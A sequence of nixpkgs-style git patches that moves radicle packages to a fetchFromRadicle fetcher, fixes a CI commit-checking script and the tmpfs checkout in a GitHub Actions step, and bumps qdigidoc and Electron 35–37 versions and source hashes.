From c1806c3f8826fd5b70dde733a34ee236c5b9c7f9 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 17 Aug 2025 03:49:19 +0200
Subject: [PATCH 3817/4511] radicle-node: use fetchFromRadicle

(cherry picked from commit 036be6edbae5f37143def9dba764ceb8b387b5e5)
---
 pkgs/by-name/ra/radicle-node/package.nix | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 15da4c6ec221..347044035a06 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -1,6 +1,6 @@
 {
   asciidoctor,
-  fetchgit,
+  fetchFromRadicle,
   git,
   installShellFiles,
   jq,
@@ -22,9 +22,11 @@ rustPlatform.buildRustPackage rec {
   version = "1.3.0";
   env.RADICLE_VERSION = version;
 
-  src = fetchgit {
-    url = "https://seed.radicle.xyz/z3gqcJUoA1n9HaHKufZs5FCSGazv5.git";
-    rev = "refs/namespaces/z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM/refs/tags/v${version}";
+  src = fetchFromRadicle {
+    seed = "seed.radicle.xyz";
+    repo = "z3gqcJUoA1n9HaHKufZs5FCSGazv5";
+    node = "z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM";
+    tag = "v${version}";
     hash = "sha256-0gK+fM/YGGpxlcR1HQixbLK0/sv+HH29h6ajEP2w2pI=";
     leaveDotGit = true;
     postFetch = ''

From 8ebf0ecc5319de54412242fe346b5f729ecc6409 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 17 Aug 2025 03:49:33 +0200
Subject: [PATCH 3818/4511] radicle-httpd: use fetchFromRadicle

(cherry picked from commit 1ddbbb16715d268ff003ab7b11821cd04bb0b4e2)
---
 pkgs/by-name/ra/radicle-explorer/package.nix |  5 ++---
 pkgs/by-name/ra/radicle-httpd/package.nix    | 12 +++++++-----
 2 files changed, 9 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-explorer/package.nix b/pkgs/by-name/ra/radicle-explorer/package.nix
index 30eb045a1bff..15686e7c5a94 100644
--- a/pkgs/by-name/ra/radicle-explorer/package.nix
+++ b/pkgs/by-name/ra/radicle-explorer/package.nix
@@ -1,7 +1,6 @@
 {
   radicle-httpd,
   fetchFromGitHub,
-  fetchgit,
   lib,
   buildNpmPackage,
   writeText,
@@ -75,9 +74,9 @@ lib.fix (
       # same repo. For this reason we pin the sources to each other, but due to
       # radicle-httpd using a more limited sparse checkout we need to carry a
       # separate hash.
-      src = fetchgit {
-        inherit (radicle-httpd.src) url rev;
+      src = radicle-httpd.src.override {
         hash = "sha256-1OhZ0x21NlZIiTPCRpvdUsx5UmeLecTjVzH8DWllPr8=";
+        sparseCheckout = [ ];
       };
 
       postPatch = ''
diff --git a/pkgs/by-name/ra/radicle-httpd/package.nix b/pkgs/by-name/ra/radicle-httpd/package.nix
index d4067fff8029..7ff24edcab0d 100644
--- a/pkgs/by-name/ra/radicle-httpd/package.nix
+++ b/pkgs/by-name/ra/radicle-httpd/package.nix
@@ -1,6 +1,6 @@
 {
   asciidoctor,
-  fetchgit,
+  fetchFromRadicle,
   git,
   installShellFiles,
   lib,
@@ -16,11 +16,13 @@ rustPlatform.buildRustPackage rec {
   env.RADICLE_VERSION = version;
 
   # You must update the radicle-explorer source hash when changing this.
-  src = fetchgit {
-    url = "https://seed.radicle.xyz/z4V1sjrXqjvFdnCUbxPFqd5p4DtH5.git";
-    rev = "refs/namespaces/z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM/refs/tags/v${version}";
-    hash = "sha256-9rJH4ECqOJ9wnYxCbEFHXo3PlhbPdeOnF+Pf1MzX25c=";
+  src = fetchFromRadicle {
+    seed = "seed.radicle.xyz";
+    repo = "z4V1sjrXqjvFdnCUbxPFqd5p4DtH5";
+    node = "z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM";
+    tag = "v${version}";
     sparseCheckout = [ "radicle-httpd" ];
+    hash = "sha256-9rJH4ECqOJ9wnYxCbEFHXo3PlhbPdeOnF+Pf1MzX25c=";
   };
 
   sourceRoot = "${src.name}/radicle-httpd";

From 04bd70460a061d4b85251c298bf255e183592aa8 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 17 Aug 2025 17:43:05 +0200
Subject: [PATCH 3819/4511] radicle-tui: use fetchFromRadicle

(cherry picked from commit 914c4f23461c546d580675742b0c5bd4f04b4796)
---
 pkgs/by-name/ra/radicle-tui/package.nix | 10 ++++++----
 pkgs/by-name/ra/radicle-tui/update.sh   |  9 +++------
 2 files changed, 9 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-tui/package.nix b/pkgs/by-name/ra/radicle-tui/package.nix
index 46f954274414..0135691e39dd 100644
--- a/pkgs/by-name/ra/radicle-tui/package.nix
+++ b/pkgs/by-name/ra/radicle-tui/package.nix
@@ -1,7 +1,7 @@
 {
   lib,
   rustPlatform,
-  fetchgit,
+  fetchFromRadicle,
   stdenv,
   libiconv,
   zlib,
@@ -13,9 +13,11 @@ rustPlatform.buildRustPackage (finalAttrs: {
   pname = "radicle-tui";
   version = "0.6.0";
 
-  src = fetchgit {
-    url = "https://seed.radicle.xyz/z39mP9rQAaGmERfUMPULfPUi473tY.git";
-    rev = "refs/namespaces/z6MkswQE8gwZw924amKatxnNCXA55BMupMmRg7LvJuim2C1V/refs/tags/${finalAttrs.version}";
+  src = fetchFromRadicle {
+    seed = "seed.radicle.xyz";
+    repo = "z39mP9rQAaGmERfUMPULfPUi473tY";
+    node = "z6MkswQE8gwZw924amKatxnNCXA55BMupMmRg7LvJuim2C1V";
+    tag = finalAttrs.version;
     hash = "sha256-rz9l9GtycqZoROUI6Hn0Fv5Br0YCIrcHlEWLMP4hasQ=";
     leaveDotGit = true;
     postFetch = ''
diff --git a/pkgs/by-name/ra/radicle-tui/update.sh b/pkgs/by-name/ra/radicle-tui/update.sh
index 2f423909a9de..36a50daf217f 100755
--- a/pkgs/by-name/ra/radicle-tui/update.sh
+++ b/pkgs/by-name/ra/radicle-tui/update.sh
@@ -6,13 +6,10 @@ set -euo pipefail
 dirname="$(dirname "${BASH_SOURCE[0]}")"
 
 url=$(nix-instantiate --eval --raw -A radicle-tui.src.url)
-old_ref=$(nix-instantiate --eval --raw -A radicle-tui.src.rev)
-new_ref=$(git ls-remote "$url" 'refs/namespaces/*/refs/tags/*' | cut -f2 | tail -1)
+old_node=$(nix-instantiate --eval --raw -A radicle-tui.src.node)
 
-[[ "$old_ref" =~ ^refs/namespaces/([^/]+)/refs/tags/([^/]+)$ ]]
-old_node="${BASH_REMATCH[1]}"
-
-[[ "$new_ref" =~ ^refs/namespaces/([^/]+)/refs/tags/([^/]+)$ ]]
+ref=$(git ls-remote "$url" 'refs/namespaces/*/refs/tags/*' | cut -f2 | tail -1)
+[[ "$ref" =~ ^refs/namespaces/([^/]+)/refs/tags/([^/]+)$ ]]
 new_node="${BASH_REMATCH[1]}"
 version="${BASH_REMATCH[2]}"
 

From cafd0bbe8a3ec134643bba857a2f8a20f6360ade Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 22 Aug 2025 09:18:32 +0200
Subject: [PATCH 3820/4511] ci/github-script/commits: fix
 not-cherry-picked-because regex

This needs the multiline flags, which enables `^` and `$` to match line
start and line end, not start and end of the whole string.

Not sure how this got past testing when initially merged.

(cherry picked from commit 8ec348d6441a19add90ba2e98d34e6510e40703e)
---
 ci/github-script/commits.js | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 41922c810a69..2e44de487b55 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -22,7 +22,7 @@ module.exports = async ({ github, context, core, dry }) => {
 
     async function extract({ sha, commit }) {
       const noCherryPick = Array.from(
-        commit.message.matchAll(/^Not-cherry-picked-because: (.*)$/g),
+        commit.message.matchAll(/^Not-cherry-picked-because: (.*)$/gm),
       ).at(0)
 
       if (noCherryPick)

From b0e0a560da1cb3b945e8c0fd36715b88cbb95e37 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 22 Aug 2025 09:24:41 +0200
Subject: [PATCH 3821/4511] ci/github-script/commits: fix logging
 no-cherry-pick message

This has severity "important", which is not a `core` function. Falling
back to `core.info` for all unknown values now.

(cherry picked from commit 2257beb1d0a13f14b8965122b20eb933617a5fa3)
---
 ci/github-script/commits.js | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 2e44de487b55..1391779e79ff 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -169,7 +169,16 @@ module.exports = async ({ github, context, core, dry }) => {
       core.startGroup(`Commit ${sha}`)
       core.info(`Author: ${commit.author.name} ${commit.author.email}`)
       core.info(`Date: ${new Date(commit.author.date)}`)
-      core[severity](message)
+      switch (severity) {
+        case 'error':
+          core.error(message)
+          break
+        case 'warning':
+          core.warning(message)
+          break
+        default:
+          core.info(message)
+      }
       core.endGroup()
       if (colored_diff) core.info(colored_diff)
     })

From 4f6f5acdc5ad3f84795898f8ce087a4cf0f6bff9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 22 Aug 2025 08:08:13 +0000
Subject: [PATCH 3822/4511] qdigidoc: 4.8.0 -> 4.8.2

(cherry picked from commit d1ad3a2c43224cf78f55cea6a826917a4f796b82)
---
 pkgs/tools/security/qdigidoc/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/security/qdigidoc/default.nix b/pkgs/tools/security/qdigidoc/default.nix
index 67d1f21b5dce..1bcfd43c85eb 100644
--- a/pkgs/tools/security/qdigidoc/default.nix
+++ b/pkgs/tools/security/qdigidoc/default.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "qdigidoc";
-  version = "4.8.0";
+  version = "4.8.2";
 
   src = fetchFromGitHub {
     owner = "open-eid";
     repo = "DigiDoc4-Client";
     tag = "v${version}";
-    hash = "sha256-3irEJnVzbmJbznyTIkDMw5t0SfegpCi51rQ0UxFXzBY=";
+    hash = "sha256-HxFH1vpXXPVSYnaMrPOJwYCt8Z0pnOLrpixQlDkTN5w=";
     fetchSubmodules = true;
   };
 

From 1ca85055787cbf5fff7ecf2ed5e98208157ba2e6 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 22 Aug 2025 09:43:03 +0200
Subject: [PATCH 3823/4511] actions/checkout: use single tmpfs with subfolders

This fixes problems on darwin, where the new tmpfs folder would not be
fully empty, but git only creates worktrees on fully empty directories.

(cherry picked from commit fb32eb0f296812da443357eafaa350031de431d7)
---
 .github/actions/checkout/action.yml | 30 ++++++++++++++---------------
 .github/workflows/build.yml         | 14 +++++++-------
 .github/workflows/check.yml         |  6 +++---
 .github/workflows/eval.yml          | 14 +++++++-------
 .github/workflows/lint.yml          |  6 +++---
 5 files changed, 34 insertions(+), 36 deletions(-)

diff --git a/.github/actions/checkout/action.yml b/.github/actions/checkout/action.yml
index 1b61b9b0d08d..e14c5936e62d 100644
--- a/.github/actions/checkout/action.yml
+++ b/.github/actions/checkout/action.yml
@@ -79,22 +79,20 @@ runs:
           // This would fail without --refetch, because the we had a partial clone before, but changed it above.
           await run('git', 'fetch', '--depth=1', '--refetch', 'origin', ...(commits.map(({ sha }) => sha)))
 
+          // Checking out onto tmpfs takes 1s and is faster by at least factor 10x.
+          await run('mkdir', 'nixpkgs')
+          switch (process.env.RUNNER_OS) {
+            case 'macOS':
+              await run('sudo', 'mount_tmpfs', 'nixpkgs')
+              break
+            case 'Linux':
+              await run('sudo', 'mount', '-t', 'tmpfs', 'tmpfs', 'nixpkgs')
+              break
+          }
+
           // Create all worktrees in parallel.
           await Promise.all(commits.map(async ({ sha, path }) => {
-            // Checking out onto tmpfs takes 1s and is faster by at least factor 10x.
-            await run('mkdir', path)
-            switch (process.env.RUNNER_OS) {
-              case 'macOS':
-                await run('sudo', 'mount_tmpfs', path)
-                // macOS creates this hidden folder to log file system activity.
-                // This trips up git when adding a worktree below, because the target folder is not empty.
-                await run('sudo', 'rm', '-rf', join(path, '.fseventsd'))
-                break
-              case 'Linux':
-                await run('sudo', 'mount', '-t', 'tmpfs', 'tmpfs', path)
-                break
-            }
-            await run('git', 'worktree', 'add', path, sha, '--no-checkout', '--force')
-            await run('git', '-C', path, 'sparse-checkout', 'disable')
-            await run('git', '-C', path, 'checkout', '--progress')
+            await run('git', 'worktree', 'add', join('nixpkgs', path), sha, '--no-checkout')
+            await run('git', '-C', join('nixpkgs', path), 'sparse-checkout', 'disable')
+            await run('git', '-C', join('nixpkgs', path), 'checkout', '--progress')
           }))
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index d499297eada2..20fcb47dc7a0 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -66,33 +66,33 @@ jobs:
           authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
           pushFilter: '(-source$|-nixpkgs-tarball-)'
 
-      - run: nix-env --install -f pinned -A nix-build-uncached
+      - run: nix-env --install -f nixpkgs/pinned -A nix-build-uncached
 
       - name: Build shell
         if: contains(matrix.builds, 'shell')
-        run: echo "${{ matrix.systems }}" | xargs -n1 nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A shell --argstr system
+        run: echo "${{ matrix.systems }}" | xargs -n1 nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A shell --argstr system
 
       - name: Build NixOS manual
         if: |
           contains(matrix.builds, 'manual-nixos') && !cancelled() &&
           contains(fromJSON(inputs.baseBranch).type, 'primary')
-        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A manual-nixos --out-link nixos-manual
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A manual-nixos --out-link nixos-manual
 
       - name: Build Nixpkgs manual
         if: contains(matrix.builds, 'manual-nixpkgs') && !cancelled()
-        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A manual-nixpkgs -A manual-nixpkgs-tests
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A manual-nixpkgs -A manual-nixpkgs-tests
 
       - name: Build Nixpkgs manual tests
         if: contains(matrix.builds, 'manual-nixpkgs-tests') && !cancelled()
-        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A manual-nixpkgs-tests
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A manual-nixpkgs-tests
 
       - name: Build lib tests
         if: contains(matrix.builds, 'lib-tests') && !cancelled()
-        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A lib-tests
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A lib-tests
 
       - name: Build tarball
         if: contains(matrix.builds, 'tarball') && !cancelled()
-        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A tarball
+        run: nix-build-uncached nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A tarball
 
       - name: Upload NixOS manual
         if: |
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index ba3cc99620bf..287d4f80d557 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -117,7 +117,7 @@ jobs:
           pushFilter: -source$
 
       - name: Build codeowners validator
-        run: nix-build trusted/ci --arg nixpkgs ./pinned -A codeownersValidator
+        run: nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/pinned -A codeownersValidator
 
       - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
         if: github.event_name == 'pull_request_target' && vars.OWNER_RO_APP_ID
@@ -137,9 +137,9 @@ jobs:
       - name: Validate codeowners
         if: steps.app-token.outputs.token
         env:
-          OWNERS_FILE: untrusted/ci/OWNERS
+          OWNERS_FILE: nixpkgs/untrusted/ci/OWNERS
           GITHUB_ACCESS_TOKEN: ${{ steps.app-token.outputs.token }}
-          REPOSITORY_PATH: untrusted
+          REPOSITORY_PATH: nixpkgs/untrusted
           OWNER_CHECKER_REPOSITORY: ${{ github.repository }}
           # Set this to "notowned,avoid-shadowing" to check that all files are owned by somebody
           EXPERIMENTAL_CHECKS: "avoid-shadowing"
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 805303ac679e..c3b1c70034be 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -111,7 +111,7 @@ jobs:
           MATRIX_SYSTEM: ${{ matrix.system }}
           MATRIX_VERSION: ${{ matrix.version || 'nixVersions.latest' }}
         run: |
-          nix-build untrusted/ci --arg nixpkgs ./pinned  -A eval.singleSystem \
+          nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned  -A eval.singleSystem \
             --argstr evalSystem "$MATRIX_SYSTEM" \
             --arg chunkSize 8000 \
             --argstr nixPath "$MATRIX_VERSION" \
@@ -190,7 +190,7 @@ jobs:
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
         run: |
-          nix-build untrusted/ci --arg nixpkgs ./pinned -A eval.diff \
+          nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A eval.diff \
             --arg beforeDir ./target \
             --arg afterDir "$(readlink ./merged)" \
             --argstr evalSystem "$MATRIX_SYSTEM" \
@@ -233,7 +233,7 @@ jobs:
 
       - name: Combine all output paths and eval stats
         run: |
-          nix-build trusted/ci --arg nixpkgs ./pinned -A eval.combine \
+          nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/pinned -A eval.combine \
             --arg diffDir ./diff \
             --out-link combined
 
@@ -241,11 +241,11 @@ jobs:
         env:
           AUTHOR_ID: ${{ github.event.pull_request.user.id }}
         run: |
-          git -C trusted diff --name-only ${{ inputs.mergedSha }} \
+          git -C nixpkgs/trusted diff --name-only ${{ inputs.mergedSha }} \
             | jq --raw-input --slurp 'split("\n")[:-1]' > touched-files.json
 
           # Use the target branch to get accurate maintainer info
-          nix-build trusted/ci --arg nixpkgs ./pinned -A eval.compare \
+          nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/pinned -A eval.compare \
             --arg combinedDir "$(realpath ./combined)" \
             --arg touchedFilesJson ./touched-files.json \
             --argstr githubAuthorId "$AUTHOR_ID" \
@@ -392,8 +392,8 @@ jobs:
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
       - name: Ensure flake outputs on all systems still evaluate
-        run: nix flake check --all-systems --no-build './untrusted?shallow=1'
+        run: nix flake check --all-systems --no-build './nixpkgs/untrusted?shallow=1'
 
       - name: Query nixpkgs with aliases enabled to check for basic syntax errors
         run: |
-          time nix-env -I ./untrusted -f ./untrusted -qa '*' --option restrict-eval true --option allow-import-from-derivation false >/dev/null
+          time nix-env -I ./nixpkgs/untrusted -f ./nixpkgs/untrusted -qa '*' --option restrict-eval true --option allow-import-from-derivation false >/dev/null
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 8e270c4e43c0..771a64c4a5d6 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -44,7 +44,7 @@ jobs:
           # Note that it's fine to run this on untrusted code because:
           # - There's no secrets accessible here
           # - The build is sandboxed
-          if ! nix-build untrusted/ci --arg nixpkgs ./pinned -A fmt.check; then
+          if ! nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A fmt.check; then
             echo "Some files are not properly formatted"
             echo "Please format them by going to the Nixpkgs root directory and running one of:"
             echo "  nix-shell --run treefmt"
@@ -81,7 +81,7 @@ jobs:
       - name: Parse all nix files
         run: |
           # Tests multiple versions at once, let's make sure all of them run, so keep-going.
-          nix-build untrusted/ci --arg nixpkgs ./pinned -A parse --keep-going
+          nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A parse --keep-going
 
   nixpkgs-vet:
     runs-on: ubuntu-24.04-arm
@@ -112,7 +112,7 @@ jobs:
           # Force terminal colors to be enabled. The library that `nixpkgs-vet` uses respects https://bixense.com/clicolors/
           CLICOLOR_FORCE: 1
         run: |
-          if nix-build untrusted/ci --arg nixpkgs ./pinned -A nixpkgs-vet --arg base "./trusted" --arg head "./untrusted"; then
+          if nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/pinned -A nixpkgs-vet --arg base "./nixpkgs/trusted" --arg head "./nixpkgs/untrusted"; then
             exit 0
           else
             exitCode=$?

From 9505994d290a3cca345ca121b7da13f54d15d826 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 19 Aug 2025 11:19:09 +0200
Subject: [PATCH 3824/4511] electron-source.electron_35: 35.7.4 -> 35.7.5

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.5
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.4...v35.7.5

(cherry picked from commit 05d3593150b8f6d550d596470c3b4debfdfca45b)
---
 pkgs/development/tools/electron/info.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 13aa8d2762f8..739bfddfa752 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -57,10 +57,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-+YuOe+2em9eZA8uKAuVUl9YkLk7Axo2bSMdwZK9BCM0=",
+                    "hash": "sha256-uwPynVLl+BVB2eO479YLg1Gbo8lv5h5iHSxNz+M5Wyg=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v35.7.4"
+                    "tag": "v35.7.5"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1306,7 +1306,7 @@
         "electron_yarn_hash": "0kiknh04rr87yzd5k13ghvk36kb7a4pcfwwinpqcsdvgka62kf1c",
         "modules": "133",
         "node": "22.16.0",
-        "version": "35.7.4"
+        "version": "35.7.5"
     },
     "36": {
         "chrome": "136.0.7103.177",

From a537f9f909e66b6e9e11d588a79d5bb5494d73e6 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 19 Aug 2025 11:26:03 +0200
Subject: [PATCH 3825/4511] electron-source.electron_36: 36.7.3 -> 36.8.1

- Changelog: https://github.com/electron/electron/releases/tag/v36.8.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.7.3...v36.8.1

(cherry picked from commit 08bc668348bf3ef0a81da50d1a4f6a060cb61aa2)
---
 pkgs/development/tools/electron/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 739bfddfa752..1b5e1444754f 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -1366,10 +1366,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-XywLLfMxQEMkRW9yev9tz52GxW0Hkg8DkdcBg4hTmCw=",
+                    "hash": "sha256-2D+/tEwerVQt9wHp2ECirBbguftCXzAy5/zTJa1458A=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v36.7.3"
+                    "tag": "v36.8.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1695,10 +1695,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-Qog6QBWGikETuaGj1rWTMe8q9bMu1HSK8HBUrldVnpI=",
+                    "hash": "sha256-BspT1cIpjL7P5HlpqGlhmvLADae5XzVyyHAg/g9RISA=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.17.1"
+                    "tag": "v22.18.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2628,10 +2628,10 @@
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "1lzjbq2r81hlzrhr7rxdfjq6z4h3k1106azn7mraj00d91cyp0af",
+        "electron_yarn_hash": "1lqvsfr1w32n4as7g7ms49jjdfw7sl1fyvg2640cpdgjs4dd96ky",
         "modules": "135",
-        "node": "22.17.1",
-        "version": "36.7.3"
+        "node": "22.18.0",
+        "version": "36.8.1"
     },
     "37": {
         "chrome": "138.0.7204.185",

From 1c964d7d241caee2b79af4ca319860ec2d081875 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 19 Aug 2025 11:40:15 +0200
Subject: [PATCH 3826/4511] electron-source.electron_37: 37.2.6 -> 37.3.1

- Changelog: https://github.com/electron/electron/releases/tag/v37.3.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.6...v37.3.1

(cherry picked from commit 164d30327916566928194823d3a033ff86f7ae2b)
---
 pkgs/development/tools/electron/info.json | 34 +++++++++++------------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 1b5e1444754f..ba5feb04f48a 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2634,7 +2634,7 @@
         "version": "36.8.1"
     },
     "37": {
-        "chrome": "138.0.7204.185",
+        "chrome": "138.0.7204.235",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2644,15 +2644,15 @@
                     "version": "2025-05-21"
                 }
             },
-            "version": "138.0.7204.185"
+            "version": "138.0.7204.235"
         },
         "chromium_npm_hash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-ak77DywFKuMOKy+N73rTBFBMdv1wRJ8kSQCmB4lH+Nk=",
+                    "hash": "sha256-S3uarVWXVgo0xqWoLdbv/oe+iYdHUBZk1W4lhzQmI/I=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "138.0.7204.185",
+                    "tag": "138.0.7204.235",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2691,10 +2691,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-goJ68k58a4XFoXuWAqFhSLoVooK/n3IGOzyVgGlyrfM=",
+                    "hash": "sha256-NkNq6jKC8NHi/PAV8zru5WCCZFO7XLMwishzURfP2mc=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v37.2.6"
+                    "tag": "v37.3.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2732,8 +2732,8 @@
             },
             "src/third_party/angle": {
                 "args": {
-                    "hash": "sha256-tkHvTkqbm4JtWnh41iu0aJ9Jo34hYc7aOKuuMQmST4c=",
-                    "rev": "e1dc0a7ab5d1f1f2edaa7e41447d873895e083bf",
+                    "hash": "sha256-SMjekUOo2ZXRhGRI11ZOsHp2F9jweTIdWiyqcBm6Ux8=",
+                    "rev": "4e2ac155b53f98f029303453dd8986ed1f16d7fc",
                     "url": "https://chromium.googlesource.com/angle/angle.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3028,10 +3028,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-Qog6QBWGikETuaGj1rWTMe8q9bMu1HSK8HBUrldVnpI=",
+                    "hash": "sha256-BspT1cIpjL7P5HlpqGlhmvLADae5XzVyyHAg/g9RISA=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.17.1"
+                    "tag": "v22.18.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -3286,8 +3286,8 @@
             },
             "src/third_party/libaom/source/libaom": {
                 "args": {
-                    "hash": "sha256-pyLKjLG83Jlx6I+0M8Ah94ku4NIFcrHNYswfVHMvdrc=",
-                    "rev": "2cca4aba034f99842c2e6cdc173f83801d289764",
+                    "hash": "sha256-9MQJXOysMSmZsc1T5QEuUZoG9kbht9iSacGFATPkmPU=",
+                    "rev": "1a5d58271aa6133b6fa7da9fa365290cc4f2cc4d",
                     "url": "https://aomedia.googlesource.com/aom.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3954,16 +3954,16 @@
             },
             "src/v8": {
                 "args": {
-                    "hash": "sha256-/2cw/iZ9zbCMMiANUfsWpxYUzA3FDfUIrjoJh/jc0XI=",
-                    "rev": "54f355e9ad22c93162d7d9d94c849c729d64bee7",
+                    "hash": "sha256-PBD43Kfv81iewn60pfpIQBqHVd8j+tcR+VHn35YwdNc=",
+                    "rev": "82ea130494ea43ed0e1bba1ccf97e5db06668ba1",
                     "url": "https://chromium.googlesource.com/v8/v8.git"
                 },
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "1lzjbq2r81hlzrhr7rxdfjq6z4h3k1106azn7mraj00d91cyp0af",
+        "electron_yarn_hash": "1lqvsfr1w32n4as7g7ms49jjdfw7sl1fyvg2640cpdgjs4dd96ky",
         "modules": "136",
-        "node": "22.17.1",
-        "version": "37.2.6"
+        "node": "22.18.0",
+        "version": "37.3.1"
     }
 }

